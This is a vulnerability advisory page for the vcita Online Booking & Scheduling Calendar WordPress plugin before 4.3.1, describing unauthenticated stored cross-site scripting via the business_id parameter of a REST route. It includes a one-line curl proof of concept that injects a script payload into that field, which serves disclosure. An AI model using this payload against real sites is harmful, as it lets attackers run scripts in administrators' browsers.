Lucene search

K
wpvulndbWpvulndbWPVDB-ID:1D5CDA6C-F054-4571-98AF-1ECD51AB0D03
HistoryJun 02, 2023 - 12:00 a.m.

Online Booking & Scheduling Calendar for WordPress by vcita < 4.3.1 - Unauthenticated Stored Cross-Site Scripting

2023-06-0200:00:00
wpscan.com
6
wordpress
vcita
unauthenticated stored cross-site scripting
rest route endpoint
arbitrary web scripts
authenticated users

0.001 Low

EPSS

Percentile

39.4%

The plugin does not sanitize and escape the business_id parameter of an unprotected REST route endpoint before rendering it back in pages on the website, allowing an unauthenticated attacker to inject arbitrary web scripts, which could target authenticated users such as administrators.

PoC

curl https://example.com/wp-json/vcita-wordpress/v1/actions/auth \ –json β€˜{ β€œsuccess”: true, β€œuser_data”: { β€œbusiness_id”: β€œ"; alert(1); //”, β€œbusiness_name”: β€œEvil Eve”, β€œemail”: β€œ[email protected]” } }’

CPENameOperatorVersion
meeting-scheduler-by-vcitalt4.3.1

0.001 Low

EPSS

Percentile

39.4%

Related for WPVDB-ID:1D5CDA6C-F054-4571-98AF-1ECD51AB0D03